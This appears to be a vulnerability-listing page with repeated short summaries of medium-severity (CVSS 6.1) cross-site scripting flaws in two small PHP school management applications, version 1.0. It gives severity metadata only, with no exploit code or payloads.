Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Event Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Event Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Event Management System
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

Cross-Site Scripting (XSS) vulnerability in School Attendance Monitoring System and School Event Management System affecting version 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP XSS School Attendence Monitoring System +1
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
39068

Related CWEs

MITRE ATT&CK

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